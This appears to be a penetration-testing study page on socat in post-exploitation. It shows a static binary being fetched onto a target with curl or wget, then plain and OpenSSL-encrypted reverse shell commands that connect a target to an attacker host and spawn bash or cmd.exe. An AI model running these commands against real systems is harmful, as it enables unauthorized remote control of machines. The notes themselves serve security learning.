> For the complete documentation index, see [llms.txt](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/post-exploitation/gaining-shell/socat.md).

# socat

Using basic methods such as netcat will generate a shell that might not be stable: terminates with ctrl+Z, non-interactive shell, etc. Alternative methods are available:

Socat is generally more stable on Linux systems compared to Windows (target machine). As socat might not be installed on all target Linux systems, it will need to be installed. However, the common method of using `apt install` or `apt-get install` is not ideal as it requires multiple dependencies and other possible configurations.

Instead, a static compiled binary (without dependencies) can be installed from a direct HTTP URL on the target machine using tools such as `curl` or `wget`. Link: <https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true>

```bash
$ curl https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true --output /bin/socat
```

```bash
$ wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true -O /bin/socat
```

***Note***: The output directory depends on a few factors such as the current working directory, or the value of the `$SHELL`environment variable. This is important to ensure the installed binary can be executed from the target machine.

#### Hosting the binary on a publicly accessible attacker-controlled machine

The binary can also be hosted on another attacker-controlled machine on the internet, and be accessed via a simple Python web server running on that machine.

### Reverse shell

#### Target machine (initiate revere shell connection)

```bash
$ socat tcp:[attacker_ip]:[attacker_port] EXEC:"bash -li
```

#### Attacker machine (listening)

```bash
$ socat tcp-l:[listen_port] -
```

### Best reverse shell experience

**Target machine**

{% code title="Linux" %}

```bash
$ socat TCP:<ATTCKER>:8888 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```

{% endcode %}

{% code title="Windows" %}

```sh
$ socat TCP:<ATTCKER>:8888 EXEC:"cmd.exe",pty,stderr,sigint,setsid,sane
```

{% endcode %}

**Attacker machine**

```bash
$ socat tcp-l:8888 FILE:`tty`,raw,echo=0
```

### Encrypted shell with OpenSSL

**Creating a self-signed certificate (on the attacker machine)**

```bash
$ openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```

1. `req`: Specifies to create a certificate request or certificate.

* In this case, the `-x509` flag is specified, which indicates to create a self-signed certificate

2. `--newkeyrsa:2048`: This specifies that a new private key should be generated with the *RSA* algorithm, using a key size of 2048 bits.

**Merge the two created files `shell.key` and `shell.crt` to the file `shell.pem`**

```bash
$ cat shell.key shell.crt > shell.pem
```

### Reverse shell

**Listen on attacker machine**

```bash
$ socat openssl-listen:<listen_port>,cert=shell.pem,verify=0 -
```

* `cert=shell.pem:` Specify to use the certificate`shell.pem`
* `verify=0`: This tells OpenSSL to not validate the certificate

#### Connect from the target machine

```bash
$ socat openssl:<attacker_ip>:<attacker_port>,verify=0 EXEC:/bin/bash
```

### Stable encrypted reverse shell

Attacker

```bash
$ socat openssl-listen:<listen_port>,cert=<cert>,verify=0 FILE:`tty`,raw,echo=0
```

Target

```bash
$ socat openssl:<attacker_ip>:<attacker_port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```